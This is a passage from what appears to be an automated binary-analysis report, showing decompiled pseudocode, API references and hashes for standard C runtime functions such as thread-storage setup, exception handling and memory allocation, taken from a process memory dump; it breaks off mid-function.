0x00b74218
0x00b74218
0x00000000
0x00b741b5
0x00b741b5
0x00b741c8
0x00b741ca
0x00b741cf
0x00b741d2
0x00000000
0x00b741d4
0x00b741e0
0x00b741e4
0x00b741e6
0x00000000
0x00b741e8
0x00b741f9
0x00b741fb
0x00000000
0x00b741fd
0x00b741fd
0x00b741ff
0x00b74200
0x00b74207
0x00b7420d
0x00b74211
0x00b74215
0x00b74215
0x00b741fb
0x00b741e6
0x00b741d2
0x00b741b3
0x00b74167
0x00b74221
0x00b740bb
0x00b740bb
0x00b740c3
0x00b740c3

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00B73165), ref: 00B740AF
__mtterm.LIBCMT ref: 00B740BB

Part of subcall function 00B73DF4: DecodePointer.KERNEL32(00000003,00B7421D,?,00B73165), ref: 00B73E05
Part of subcall function 00B73DF4: TlsFree.KERNEL32(00000015,00B7421D,?,00B73165), ref: 00B73E1F

GetProcAddress.KERNEL32(00000000,FlsAlloc,00000000,?,00B73165), ref: 00B740D1
GetProcAddress.KERNEL32(00000000,FlsGetValue,?,00B73165), ref: 00B740DE
GetProcAddress.KERNEL32(00000000,FlsSetValue,?,00B73165), ref: 00B740EB
GetProcAddress.KERNEL32(00000000,FlsFree,?,00B73165), ref: 00B740F8
TlsAlloc.KERNEL32(?,00B73165), ref: 00B74148
TlsSetValue.KERNEL32(00000000,?,00B73165), ref: 00B74163
__init_pointers.LIBCMT ref: 00B7416D
EncodePointer.KERNEL32(?,00B73165), ref: 00B7417E
EncodePointer.KERNEL32(?,00B73165), ref: 00B7418B
EncodePointer.KERNEL32(?,00B73165), ref: 00B74198
EncodePointer.KERNEL32(?,00B73165), ref: 00B741A5
DecodePointer.KERNEL32(00B73F78,?,00B73165), ref: 00B741C6
__calloc_crt.LIBCMT ref: 00B741DB
DecodePointer.KERNEL32(00000000,?,00B73165), ref: 00B741F5
__initptd.LIBCMT ref: 00B74200
GetCurrentThreadId.KERNEL32(?,00B73165), ref: 00B74207

Strings

KERNEL32.DLL, xrefs: 00B740AA
FlsGetValue, xrefs: 00B740D3
FlsAlloc, xrefs: 00B740CB
FlsFree, xrefs: 00B740ED
FlsSetValue, xrefs: 00B740E0

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: 0e61a41cc1f1a387bfb399a9fe5c20573e32890452546aa28aabf4ec5e4b4232
Instruction ID: 944eecc5472b89835ddaba5b764d5a8c64c1d2e99698058030b0248f50a33300
Opcode Fuzzy Hash: 0e61a41cc1f1a387bfb399a9fe5c20573e32890452546aa28aabf4ec5e4b4232
Instruction Fuzzy Hash: 57314F31950210AADB116B74AC0A9093FE4EF49B65B8086E6E53CB3AB1DF30C4C1DF51

Uniqueness

Uniqueness Score: -1.00%

Function 00B7784D, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00B7784D(void* __ecx, void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				void* __ebp;
				void* _t16;
				intOrPtr* _t19;
				void* _t23;
				void* _t26;

				_t27 = __esi;
				_t25 = __edx;
				_t32 =  *((intOrPtr*)( *_a4)) - 0xe0434352;
				if( *((intOrPtr*)( *_a4)) == 0xe0434352) {
					L8:
					__eflags =  *((intOrPtr*)(E00B73F5E(_t23, _t25, _t26, __eflags) + 0x90));
					if(__eflags > 0) {
						_t16 = E00B73F5E(_t23, _t25, _t26, __eflags);
						_t9 = _t16 + 0x90;
						 *_t9 =  *((intOrPtr*)(_t16 + 0x90)) - 1;
						__eflags =  *_t9;
					}
					goto L10;
				} else {
					__eflags = __eax - 0xe0434f4d;
					if(__eflags == 0) {
						goto L8;
					} else {
						__eflags = __eax - 0xe06d7363;
						if(__eflags != 0) {
							L10:
							__eflags = 0;
							return 0;
						} else {
							 *(E00B73F5E(__ebx, __edx, __edi, __eflags) + 0x90) =  *(__eax + 0x90) & 0x00000000;
							_push(8);
							_push(0xb7b678);
							E00B74440(_t23, _t26, __esi);
							_t19 =  *((intOrPtr*)(E00B73F5E(_t23, __edx, _t26, _t32) + 0x78));
							if(_t19 != 0) {
								_v8 = _v8 & 0x00000000;
								 *_t19();
								_v8 = 0xfffffffe;
							}
							return E00B74485(E00B75372(_t23, _t25, _t26, _t27));
						}
					}
				}
			}

0x00b7784d
0x00b7784d
0x00b77859
0x00b7785e
0x00b7787f
0x00b77884
0x00b7788b
0x00b7788d
0x00b77892
0x00b77892
0x00b77892
0x00b77892
0x00000000
0x00b77860
0x00b77860
0x00b77865
0x00000000
0x00b77867
0x00b77867
0x00b7786c
0x00b77898
0x00b77898
0x00b7789b
0x00b7786e
0x00b77873
0x00b73925
0x00b73927
0x00b7392c
0x00b73936
0x00b7393b
0x00b7393d
0x00b73941
0x00b7394c
0x00b7394c
0x00b7395d
0x00b7395d
0x00b7786c
0x00b77865

APIs

__getptd.LIBCMT ref: 00B7786E

Part of subcall function 00B73F5E: __getptd_noexit.LIBCMT ref: 00B73F61
Part of subcall function 00B73F5E: __amsg_exit.LIBCMT ref: 00B73F6E

__getptd.LIBCMT ref: 00B7787F
__getptd.LIBCMT ref: 00B7788D

Strings

RCC, xrefs: 00B77859
csm, xrefs: 00B77867
MOC, xrefs: 00B77860

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 08023554eef41aad810a177e4eb83e4040c19767ddd1b36da22133d8c48aeee6
Instruction ID: 309b7987f28fe6cc6fae458e31da9cf21f05c67e7a4fd27e5c1821bee4fa23a8
Opcode Fuzzy Hash: 08023554eef41aad810a177e4eb83e4040c19767ddd1b36da22133d8c48aeee6
Instruction Fuzzy Hash: BBE012355541049FC7209B6AC08E7A832E4EB94754F15C1E1E52DCB222CB25DA50D983

Uniqueness

Uniqueness Score: -1.00%

Function 00B77AFF, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00B77AFF(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				void* _t53;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_push(0x2c);
				_push(0xb7ba68);
				E00B74440(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E00B776B7(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E00B73F5E(__ecx, _t53, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E00B73F5E(_t48, _t53, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E00B73F5E(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E00B73F5E(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E00B7775C(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E00B77C25(_t48, _t53, _t55, _t57, _t61);
				return E00B74485( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x00b77aff
0x00b77aff
0x00b77b01
0x00b77b06
0x00b77b0b
0x00b77b0d
0x00b77b10
0x00b77b13
0x00b77b16
0x00b77b1d
0x00b77b2e
0x00b77b3c
0x00b77b4a
0x00b77b52
0x00b77b60
0x00b77b66
0x00b77b6d
0x00b77b70
0x00b77b86
0x00b77b89
0x00b77bfe
0x00b77c05
0x00b77c0c
0x00b77c19

APIs

__CreateFrameInfo.LIBCMT ref: 00B77B27

Part of subcall function 00B776B7: __getptd.LIBCMT ref: 00B776C5
Part of subcall function 00B776B7: __getptd.LIBCMT ref: 00B776D3

__getptd.LIBCMT ref: 00B77B31

Part of subcall function 00B73F5E: __getptd_noexit.LIBCMT ref: 00B73F61
Part of subcall function 00B73F5E: __amsg_exit.LIBCMT ref: 00B73F6E

__getptd.LIBCMT ref: 00B77B3F
__getptd.LIBCMT ref: 00B77B4D
__getptd.LIBCMT ref: 00B77B58
_CallCatchBlock2.LIBCMT ref: 00B77B7E

Part of subcall function 00B7775C: __CallSettingFrame@12.LIBCMT ref: 00B777A8

Part of subcall function 00B77C25: __getptd.LIBCMT ref: 00B77C34
Part of subcall function 00B77C25: __getptd.LIBCMT ref: 00B77C42

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: f7556624bddb34847ee4aad197e36ec4ef84c31e3659cc21013d84e6fac87382
Instruction ID: 7b90dc6e29bef87c25b47506f8b6f5ddc224d77bdf3d498009bada898f10a801
Opcode Fuzzy Hash: f7556624bddb34847ee4aad197e36ec4ef84c31e3659cc21013d84e6fac87382
Instruction Fuzzy Hash: 6C11B4B1D40209DFDB10EFA4D445BED7BF0FB08315F1084A9F828AB251DB399A159B50

Uniqueness

Uniqueness Score: -1.00%

Function 00B75D96, Relevance: 9.0, APIs: 6, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00B75D96(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0xb7b768);
				E00B74440(__ebx, __edi, __esi);
				_t31 = E00B73F5E(__ebx, __edx, __edi, _t35);
				_t15 =  *0xb7db20; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00B738F2(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0xb7da18; // 0xf17b0
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0xb7d5f0;
								if(__eflags != 0) {
									E00B7352B(_t33);
								}
							}
						}
						_t21 =  *0xb7da18; // 0xf17b0
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0xb7da18; // 0xf17b0
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00B75E31();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					_push(0x20);
					E00B72EDA(_t29, _t31, _t33, _t38);
				}
				return E00B74485(_t33);
			}

0x00b75d96
0x00b75d96
0x00b75d96
0x00b75d96
0x00b75d98
0x00b75d9d
0x00b75da7
0x00b75da9
0x00b75db1
0x00b75dd2
0x00b75dd8
0x00b75ddc
0x00b75ddf
0x00b75de2
0x00b75de8
0x00b75dea
0x00b75dec
0x00b75df5
0x00b75df7
0x00b75df9
0x00b75dff
0x00b75e02
0x00b75e07
0x00b75dff
0x00b75df7
0x00b75e08
0x00b75e0d
0x00b75e10
0x00b75e16
0x00b75e1a
0x00b75e1a
0x00b75e20
0x00b75e27
0x00b75db9
0x00b75db9
0x00b75db9
0x00b75dbc
0x00b75dbe
0x00b75dc0
0x00b75dc2
0x00b75dc7
0x00b75dcf

APIs

__getptd.LIBCMT ref: 00B75DA2

Part of subcall function 00B73F5E: __getptd_noexit.LIBCMT ref: 00B73F61
Part of subcall function 00B73F5E: __amsg_exit.LIBCMT ref: 00B73F6E

__amsg_exit.LIBCMT ref: 00B75DC2
__lock.LIBCMT ref: 00B75DD2
InterlockedDecrement.KERNEL32(?), ref: 00B75DEF
_free.LIBCMT ref: 00B75E02
InterlockedIncrement.KERNEL32(000F17B0), ref: 00B75E1A

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: fb7e84f0f2fc0bfa1429f998bc15debf190f8dbc320daf3036964c2fb4e48887
Instruction ID: 06751da14fee9d8289da514273292c9c72476a49b4d20c22bdac9a17f1a938b3
Opcode Fuzzy Hash: fb7e84f0f2fc0bfa1429f998bc15debf190f8dbc320daf3036964c2fb4e48887
Instruction Fuzzy Hash: 22018032D05B15ABD730AB28980AB5D77F0FF04B51F15C095E83CA7290CBB4AA81DBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00B77EAC, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E00B77EAC(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E00B77E1A(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E00B77411(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E00B7789C(_t22, _t23, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_t14 = _t22 + 0xc; // 0x6e
				_push(_t27);
				_push(_a4);
				_t20 = E00B77AFF(_t22,  *_t14, _t26, _t27, _t31);
				if(_t20 != 0) {
					E00B773D8(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x00b77eac
0x00b77eac
0x00b77eac
0x00b77eac
0x00b77eb1
0x00b77eb5
0x00b77eb7
0x00b77eba
0x00b77ebb
0x00b77ebc
0x00b77ebf
0x00b77ec4
0x00b77ec4
0x00b77ec7
0x00b77ecb
0x00b77ece
0x00b77ed3
0x00b77ed0
0x00b77ed0
0x00b77ed0
0x00b77ed6
0x00b77edb
0x00b77edd
0x00b77ee0
0x00b77ee3
0x00b77ee4
0x00b77eec
0x00b77ef1
0x00b77ef5
0x00b77ef8
0x00b77efb
0x00b77efe
0x00b77f01
0x00b77f02
0x00b77f05
0x00b77f0f
0x00b77f13
0x00000000
0x00b77f13
0x00b77f19

APIs

___BuildCatchObject.LIBCMT ref: 00B77EBF

Part of subcall function 00B77E1A: ___BuildCatchObjectHelper.LIBCMT ref: 00B77E50

_UnwindNestedFrames.LIBCMT ref: 00B77ED6
___FrameUnwindToState.LIBCMT ref: 00B77EE4

Strings

csm, xrefs: 00B77EBB, 00B77ED0, 00B77EE3, 00B77F01, 00B77F11
csm, xrefs: 00B77EAE

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction ID: 8f6895d597181c34fbf5fa7c586fa49417c612569c867a5c2094e63c4635227e
Opcode Fuzzy Hash: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction Fuzzy Hash: B901E431484209BBDF126F51CD46EAB7FAAEF08350F0084A0BD2C15161DB7299B1EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B72EF8, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00B72EF8(void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v0;
				char* _v8;
				intOrPtr _v12;
				char _v20;
				intOrPtr _v28;
				void* _t20;
				signed int _t21;
				intOrPtr _t25;
				signed int _t27;
				void* _t33;
				void* _t34;
				void* _t35;
				signed int _t36;
				void* _t40;
				intOrPtr _t41;
				void* _t43;
				char* _t46;
				void* _t54;
				void* _t55;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				intOrPtr* _t64;
				intOrPtr* _t65;
				void* _t68;

				_t62 = __esi;
				_t55 = __edi;
				while(1) {
					_t20 = E00B73403(_t54, _t55, _t62, _a4);
					if(_t20 != 0) {
						break;
					}
					_t21 = E00B73D86(_t20, _a4);
					__eflags = _t21;
					if(_t21 == 0) {
						__eflags =  *0xb7dcc0 & 0x00000001;
						if(( *0xb7dcc0 & 0x00000001) == 0) {
							 *0xb7dcc0 =  *0xb7dcc0 | 0x00000001;
							__eflags =  *0xb7dcc0;
							_push(1);
							_v8 = "bad allocation";
							E00B72710(0xb7dcb4,  &_v8);
							 *0xb7dcb4 = 0xb791f4;
							E00B7309B( *0xb7dcc0, 0xb7882e);
						}
						_t46 =  &_v20;
						E00B72826(_t46, 0xb7dcb4);
						_v20 = 0xb791f4;
						E00B73252( &_v20, 0xb7b7e8);
						asm("int3");
						_t64 = __imp__DecodePointer;
						_t25 =  *_t64( *0xb7ea74, 0xb7dcb4, 0xb791f4, _t40, _t46, _t68);
						_t41 = _t25;
						_v28 = _t41;
						_t65 =  *_t64( *0xb7ea70);
						__eflags = _t65 - _t41;
						if(_t65 < _t41) {
							L18:
							_t27 = 0;
							__eflags = 0;
						} else {
							_t59 = _t65 - _t41;
							_t11 = _t59 + 4; // 0x4
							__eflags = _t11 - 4;
							if(_t11 < 4) {
								goto L18;
							} else {
								_t43 = E00B7491C(_t41);
								_t12 = _t59 + 4; // 0x4
								__eflags = _t43 - _t12;
								if(_t43 >= _t12) {
									L17:
									_t60 = __imp__EncodePointer;
									 *_t65 =  *_t60(_v0);
									 *0xb7ea70 =  *_t60(_t65 + 4);
									_t27 = _v0;
								} else {
									_t33 = 0x800;
									__eflags = _t43 - 0x800;
									if(_t43 < 0x800) {
										_t33 = _t43;
									}
									_t34 = _t33 + _t43;
									__eflags = _t34 - _t43;
									if(_t34 < _t43) {
										L14:
										_t14 = _t43 + 0x10; // 0x10
										_t35 = _t14;
										__eflags = _t35 - _t43;
										if(_t35 < _t43) {
											goto L18;
										} else {
											_t36 = E00B748CE(_v12, _t35);
											__eflags = _t36;
											if(_t36 == 0) {
												goto L18;
											} else {
												goto L16;
											}
										}
									} else {
										_t36 = E00B748CE(_v12, _t34);
										__eflags = _t36;
										if(_t36 != 0) {
											L16:
											_t65 = _t36 + (_t59 >> 2) * 4;
											__imp__EncodePointer(_t36);
											 *0xb7ea74 = _t36;
											goto L17;
										} else {
											goto L14;
										}
									}
								}
							}
						}
						return _t27;
					} else {
						continue;
					}
					L20:
				}
				return _t20;
				goto L20;
			}

0x00b72ef8
0x00b72ef8
0x00b72f0f
0x00b72f12
0x00b72f1a
0x00000000
0x00000000
0x00b72f05
0x00b72f0b
0x00b72f0d
0x00b72f1e
0x00b72f2f
0x00b72f31
0x00b72f31
0x00b72f38
0x00b72f40
0x00b72f47
0x00b72f51
0x00b72f57
0x00b72f5c
0x00b72f5e
0x00b72f61
0x00b72f6f
0x00b72f72
0x00b72f77
0x00b72f80
0x00b72f8d
0x00b72f95
0x00b72f97
0x00b72f9c
0x00b72f9e
0x00b72fa0
0x00b73027
0x00b73027
0x00b73027
0x00b72fa6
0x00b72fa8
0x00b72faa
0x00b72fad
0x00b72fb0
0x00000000
0x00b72fb2
0x00b72fb8
0x00b72fba
0x00b72fbe
0x00b72fc0
0x00b7300a
0x00b7300d
0x00b73015
0x00b7301d
0x00b73022
0x00b72fc2
0x00b72fc2
0x00b72fc7
0x00b72fc9
0x00b72fcb
0x00b72fcb
0x00b72fcd
0x00b72fcf
0x00b72fd1
0x00b72fe2
0x00b72fe2
0x00b72fe2
0x00b72fe5
0x00b72fe7
0x00000000
0x00b72fe9
0x00b72fed
0x00b72ff4
0x00b72ff6
0x00000000
0x00000000
0x00000000
0x00000000
0x00b72ff6
0x00b72fd3
0x00b72fd7
0x00b72fde
0x00b72fe0
0x00b72ff8
0x00b72ffc
0x00b72fff
0x00b73005
0x00000000
0x00000000
0x00000000
0x00000000
0x00b72fe0
0x00b72fd1
0x00b72fc0
0x00b72fb0
0x00b7302d
0x00000000
0x00000000
0x00000000
0x00000000
0x00b72f0d
0x00b72f1d
0x00000000

APIs

_malloc.LIBCMT ref: 00B72F12

Part of subcall function 00B73403: __FF_MSGBANNER.LIBCMT ref: 00B7341C
Part of subcall function 00B73403: __NMSG_WRITE.LIBCMT ref: 00B73423
Part of subcall function 00B73403: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,00B7484E,00000000,00000001,00000000,?,00B7387D,00000018,00B7B658,0000000C,00B7390D), ref: 00B73448

std::exception::exception.LIBCMT ref: 00B72F47
std::exception::exception.LIBCMT ref: 00B72F61
__CxxThrowException@8.LIBCMT ref: 00B72F72

Strings

bad allocation, xrefs: 00B72F40

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::exception::exception$AllocException@8HeapThrow_malloc
String ID: bad allocation
API String ID: 1414122017-2104205924
Opcode ID: 4e36078b67008dfe96f173b5805c20e93d8e3d3500ed9c76eb271a775ebbedd5
Instruction ID: 3beef9e004eadd4116e8a6784ab901955c7dcf8649d592aae875fa7cd2927c1c
Opcode Fuzzy Hash: 4e36078b67008dfe96f173b5805c20e93d8e3d3500ed9c76eb271a775ebbedd5
Instruction Fuzzy Hash: 3BF0F4319042096ACB25EB64CC06A9D3BF5EF40B54F5085E9F43CAA1D2CFB19F41D681

Uniqueness

Uniqueness Score: -1.00%

Function 00B7664D, Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00B7664D(void* __edx, void* __edi, void* __esi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t27;
				long _t30;

				if(_a4 != 0) {
					_push(__esi);
					_t30 = _a8;
					__eflags = _t30;
					if(_t30 != 0) {
						_push(__edi);
						while(1) {
							__eflags = _t30 - 0xffffffe0;
							if(_t30 > 0xffffffe0) {
								break;
							}
							__eflags = _t30;
							if(_t30 == 0) {
								_t30 = _t30 + 1;
								__eflags = _t30;
							}
							_t7 = HeapReAlloc( *0xb7e8c0, 0, _a4, _t30);
							_t27 = _t7;
							__eflags = _t27;
							if(_t27 != 0) {
								L17:
								_t8 = _t27;
							} else {
								__eflags =  *0xb7e8c4 - _t7;
								if(__eflags == 0) {
									_t9 = E00B74264(__eflags);
									 *_t9 = E00B74222(GetLastError());
									goto L17;
								} else {
									__eflags = E00B73D86(_t7, _t30);
									if(__eflags == 0) {
										_t12 = E00B74264(__eflags);
										 *_t12 = E00B74222(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E00B73D86(_t6, _t30);
						 *((intOrPtr*)(E00B74264(__eflags))) = 0xc;
						goto L12;
					} else {
						E00B7352B(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00B73403(__edx, __edi, __esi, _a8);
				}
			}

0x00b76656
0x00b76663
0x00b76664
0x00b76667
0x00b76669
0x00b76678
0x00b766ab
0x00b766ab
0x00b766ae
0x00000000
0x00000000
0x00b7667b
0x00b7667d
0x00b7667f
0x00b7667f
0x00b7667f
0x00b7668c
0x00b76692
0x00b76694
0x00b76696
0x00b766f6
0x00b766f6
0x00b76698
0x00b76698
0x00b7669e
0x00b766e0
0x00b766f4
0x00000000
0x00b766a0
0x00b766a7
0x00b766a9
0x00b766c8
0x00b766dc
0x00b766c2
0x00b766c2
0x00b766c2
0x00000000
0x00000000
0x00000000
0x00b766a9
0x00b7669e
0x00000000
0x00b766c4
0x00b766b1
0x00b766bc
0x00000000
0x00b7666b
0x00b7666e
0x00b76674
0x00b76674
0x00b766c5
0x00b766c7
0x00b76658
0x00b76662
0x00b76662

APIs

_malloc.LIBCMT ref: 00B7665B

Part of subcall function 00B73403: __FF_MSGBANNER.LIBCMT ref: 00B7341C
Part of subcall function 00B73403: __NMSG_WRITE.LIBCMT ref: 00B73423
Part of subcall function 00B73403: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,00B7484E,00000000,00000001,00000000,?,00B7387D,00000018,00B7B658,0000000C,00B7390D), ref: 00B73448

_free.LIBCMT ref: 00B7666E

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: f458d08ee18c1c0b1914ec9852da7f66b57b1c14f8f95bd82154c8a70f48a097
Instruction ID: 1be53d1e0e3511c207d31fe954123ab9ea7665cbeb40f92c5f85d1f329e877ee
Opcode Fuzzy Hash: f458d08ee18c1c0b1914ec9852da7f66b57b1c14f8f95bd82154c8a70f48a097
Instruction Fuzzy Hash: CD110132405E01AACF213B74A8046993BD5EF407B1F20C5E9F87D971A1EF30C99086A4

Uniqueness

Uniqueness Score: -1.00%

Function 00B75AFA, Relevance: 7.5, APIs: 5, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00B75AFA(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t12;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
